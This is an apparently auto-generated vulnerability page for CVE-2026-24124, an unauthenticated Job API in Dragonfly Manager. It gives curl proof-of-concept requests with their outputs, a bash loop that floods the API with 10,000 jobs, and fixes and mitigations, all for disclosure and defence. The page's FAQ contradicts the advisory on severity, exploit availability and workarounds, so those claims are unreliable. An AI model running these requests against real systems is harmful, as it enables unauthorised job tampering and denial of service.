What is CVE-2026-24124?

## Summary Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption. ## Affected Products - **Product**: Dragonfly - **Component**: Manager (REST API) - **Affected Versions**: v2.x (based on source code analysis, including v2.4.0) - **Affected Endpoints**: `/api/v1/jobs` ## Vulnerability Details ### Description Dragonfly Manager's Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations: 1. **List all jobs** (GET `/api/v1/jobs`) 2. **Create new jobs** (POST `/api/v1/jobs`) 3. **Query job details** (GET `/api/v1/jobs/:id`) 4. **Modify jobs** (PATCH `/api/v1/jobs/:id`) 5. **Delete jobs** (DELETE `/api/v1/jobs/:id`) ### Technical Root Cause In the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware: ```go // TODO Add auth to the following routes and fix the tests. // Job. job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) ``` In contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication: ```go // manager/router/router.go:143 c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac) ``` The developer left a TODO comment in the code, indicating this is a known but unresolved issue. ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (Kind/Minikube/GKE, etc.) - Helm 3.8.0+ - kubectl - curl and jq #### Deployment Steps 1. **Add Dragonfly Helm Repository** ```bash helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/ helm repo update ``` 2. **Generate Deployment Manifest** ```bash helm template dragonfly dragonfly/dragonfly \ --namespace dragonfly-system \ --set manager.replicas=1 \ --set scheduler.replicas=1 \ --set seedClient.replicas=1 \ --set client.enable=false > /tmp/dragonfly-manifest.yaml ``` 3. **Deploy to Kubernetes** ```bash kubectl create namespace dragonfly-system kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s ``` **Expected Output**: ``` namespace/dragonfly-system created [... resource creation messages ...] pod/dragonfly-manager-5cc788d64b-grpbk condition met pod/dragonfly-mysql-0 condition met pod/dragonfly-redis-master-0 condition met pod/dragonfly-scheduler-0 condition met pod/dragonfly-seed-client-0 condition met ``` 4. **Setup Port Forwarding** ```bash kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 & ``` ### Exploitation Steps #### Step 1: Verify Unauthenticated Access **Command**: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs ``` **Actual Output**: ```json [] ``` **HTTP Status Code**: `200 OK` **Analysis**: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication. #### Step 2: Create Unauthorized Job **Command**: ```bash curl -s -X POST http://localhost:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d '{ "type": "preheat", "args": { "type": "file", "url": "http://example.com/test-file.txt" }, "scheduler_cluster_ids": [1] }' | jq . ``` **Actual Output**: ```json { "id": 2, "created_at": "2026-01-17T16:34:22.497Z", "updated_at": "2026-01-17T16:34:22.497Z", "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9", "type": "preheat", "state": "PENDING", "args": { "type": "file", "url": "http://example.com/test-file.txt", "scope": "single_seed_peer", "timeout": 3600000000000 }, "user_id": 0, "scheduler_clusters": [ { "id": 1, "name": "cluster-1", "is_default": true } ] } ``` **HTTP Status Code**: `200 OK` **Analysis**: Successfully created a Job (ID: 2) without any authentication token. #### Step 3: Query Job Details **Command**: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state' ``` **Actual Output**: ```json 2 "preheat" "PENDING" ``` **HTTP Status Code**: `200 OK` #### Step 4: Modify Job **Command**: ```bash curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \ -H "Content-Type: application/json" \ -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio' ``` **Actual Output**: ```json 2 "Modified by unauthenticated attacker" ``` **HTTP Status Code**: `200 OK` #### Step 5: Delete Job **Command**: ```bash curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2 ``` **Actual Output**: ``` 200 ``` **HTTP Status Code**: `200 OK` #### Step 6: Comparison Test - Authenticated Endpoint **Command**: ```bash curl -s -X GET http://localhost:8080/api/v1/clusters | jq . ``` **Actual Output**: ```json { "message": "Unauthorized" } ``` **HTTP Status Code**: `401 Unauthorized` **Analysis**: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration. ### Automated POC Script Complete automated verification script available at: - Script: `poc.sh` - Output Log: `poc_output.log` **Execution Summary**: ``` [Test 1] GET /api/v1/jobs - HTTP 200 VULNERABLE [Test 2] POST /api/v1/jobs - HTTP 200 VULNERABLE (Job ID: 2) [Test 3] GET /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 4] PATCH /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 5] DELETE /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 6] GET /api/v1/clusters - HTTP 401 EXPECTED (comparison test) ``` ## Impact Analysis ### Direct Impact 1. **Unauthorized Job Management**: Attackers can fully control the Job lifecycle (CRUD operations) 2. **Information Disclosure**: Can query all jobs, potentially exposing internal URLs, configurations, and business logic 3. **Service Disruption**: Can delete legitimate jobs, affecting normal file distribution services 4. **Resource Exhaustion**: Can create massive numbers of jobs leading to system resource exhaustion (DoS) ### Potential Attack Scenarios 1. **Resource Exhaustion Attack** ```bash # Create 10,000 jobs to exhaust resources for i in $(seq 1 10000); do curl -X POST http://manager:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" & done ``` 2. **SSRF Risk**: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist) 3. **Business Logic Disruption**: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality ### Affected Deployment Scenarios - Manager API exposed on the public internet or untrusted networks - Malicious users or compromised systems in internal networks - Tenant isolation failures in multi-tenant environments ## Remediation ### Recommended Fix Add authentication and authorization middleware to the Job API in the `manager/router/router.go` file: ```go // Before Fix (lines 204-211) job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) // After Fix job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac) job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) ``` ### Temporary Mitigation Before the fix is released, the following mitigation measures can be taken: 1. **Network Isolation**: Restrict network access to the Manager API - Use firewall rules to limit source IPs - Only allow trusted internal networks to access - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication 2. **API Gateway**: Deploy an API gateway in front of Manager for authentication - Use reverse proxies like Nginx/Kong/Traefik - Configure OAuth2/JWT validation 3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API - Log all Job API calls - Set up alerts for abnormal job creation/deletion ### Verify Fix After the fix, all unauthenticated requests should return `401 Unauthorized`: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs ``` **Expected Output**: ```json { "message": "Unauthorized" } ``` ## Appendix: Complete Verification Logs ### Deployment Verification Logs ```bash $ kubectl -n dragonfly-system get pods NAME READY STATUS RESTARTS AGE dragonfly-manager-5cc788d64b-grpbk 1/1 Running 0 5m dragonfly-mysql-0 1/1 Running 0 5m dragonfly-redis-master-0 1/1 Running 0 5m dragonfly-redis-replicas-0 1/1 Running 0 5m dragonfly-scheduler-0 1/1 Running 0 5m dragonfly-seed-client-0 1/1 Running 0 5m $ kubectl -n dragonfly-system get svc dragonfly-manager NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE dragonfly-manager ClusterIP 10.96.240.126 8080/TCP,65003/TCP 5m ``` ### POC Execution Complete Logs See `poc_output.log` file for details. ``` ========================================== VUL-001: Job API Unauthenticated Access POC ========================================== [Test 1] GET /api/v1/jobs (No Authentication) HTTP Status: 200 Response: [] ✅ VULNERABLE: Endpoint accessible without authentication [Test 2] POST /api/v1/jobs (No Authentication) HTTP Status: 200 Job ID: 2 ✅ VULNERABLE: Job created without authentication [Test 3] GET /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job details accessible without authentication [Test 4] PATCH /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job updated without authentication [Test 5] DELETE /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job deleted without authentication [Test 6] GET /api/v1/clusters (Should Require Authentication) HTTP Status: 401 Response: {"message":"Unauthorized"} ✅ EXPECTED: Endpoint correctly requires authentication ========================================== POC Execution Complete ========================================== ``` --- ## Patches - Dragonfy v2.4.1 and above. ## Workarounds There are no effective workarounds, beyond upgrading.

What is the severity of CVE-2026-24124?

CVE-2026-24124 has a CVSS v3 score of 0, which is classified as Low severity.

Is there an exploit available for CVE-2026-24124?

No known public exploits are currently available for CVE-2026-24124.

Is there a patch available for CVE-2026-24124?

Yes, patches are available for CVE-2026-24124. Check the vendor advisories for update instructions.

CVE-2026-24124 - CVE Details, Severity, and Analysis

Summary

Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.

Affected Products

Product: Dragonfly
Component: Manager (REST API)
Affected Versions: v2.x (based on source code analysis, including v2.4.0)
Affected Endpoints: /api/v1/jobs

Vulnerability Details

Description

Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:

List all jobs (GET /api/v1/jobs)
Create new jobs (POST /api/v1/jobs)
Query job details (GET /api/v1/jobs/:id)
Modify jobs (PATCH /api/v1/jobs/:id)
Delete jobs (DELETE /api/v1/jobs/:id)

Technical Root Cause

In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:

// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:

// manager/router/router.go:143
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)

The developer left a TODO comment in the code, indicating this is a known but unresolved issue.